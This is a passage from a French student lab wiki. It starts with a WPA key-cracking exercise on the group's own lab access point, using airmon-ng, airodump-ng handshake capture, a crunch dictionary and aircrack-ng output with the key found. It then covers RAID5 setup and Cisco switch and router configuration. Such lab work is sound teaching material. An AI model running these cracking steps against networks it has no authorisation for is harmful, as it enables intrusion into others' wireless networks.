 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Une fois le handshake récupéré, on va créer un dictionnaire contenant les caractères que l'on pense être contenus dans la clé WPA et avec le nombre minimal et maximal de caractères ( 8 et 8, dans notre cas)&lt;br /&gt;
On utilise crunch : &lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt;&amp;gt; Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance la commande qui va comparer le handshake et le dictionnaire :&lt;br /&gt;
 root@zabeth14:/home/pifou/Desktop/craquage WPA# aircrack-ng handshake-02.cap -w Dico_fc.txt&lt;br /&gt;
&lt;br /&gt;
Puis on laisse tourner jusqu'à ce qu'il trouve la clé. (Bonne soirée...)&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Read 242831 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
   1  04:DA:D2:9C:50:58  kracotte01                WPA (1 handshake)&lt;br /&gt;
 Choosing first network as target.&lt;br /&gt;
 Opening handshake-02.cap&lt;br /&gt;
 Reading packets, please wait...&lt;br /&gt;
                                 Aircrack-ng 1.2 rc4&lt;br /&gt;
      [00:21:23] 10222228/102795810 keys tested (8175.38 k/s) &lt;br /&gt;
      Time left: 3 hours, 8 minutes, 43 seconds                  9.94%&lt;br /&gt;
                           KEY FOUND! [ 10222222 ]&lt;br /&gt;
      Master Key     : FB F0 0D 55 85 CC 0D A6 9B AA 68 CE 90 3D D2 84 &lt;br /&gt;
                       02 AD A6 12 3D 35 8A 2D 67 58 CF 0A 1B 99 30 B0 &lt;br /&gt;
      Transient Key  : C9 A5 CD E3 86 CC 6E B9 72 FE 47 B6 12 29 75 95 &lt;br /&gt;
                       70 B3 7E 31 05 0F C0 F5 53 92 7C 97 07 81 9D 90 &lt;br /&gt;
                       09 F2 0B 66 4C 6D 58 35 5E CC E2 5A 2A 25 D2 66 &lt;br /&gt;
                       18 36 5D 9D 57 30 A5 72 AA 89 55 1E 27 84 D1 3A &lt;br /&gt;
      EAPOL HMAC     : 2A 02 78 56 B1 DC 14 02 D1 27 54 6E 3D 0C 71 7E&lt;br /&gt;
&lt;br /&gt;
==Stockage Raid5==&lt;br /&gt;
&lt;br /&gt;
On crée les 3 disques de 1Go&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d1 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d2 virtual&lt;br /&gt;
 lvcreate -L1G -n ima2a5-zerofun-d3 virtual&lt;br /&gt;
&lt;br /&gt;
 cd /dev/virtual&lt;br /&gt;
&lt;br /&gt;
Faire pointer système de fichiers sur nos 3 disques. &lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
on met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
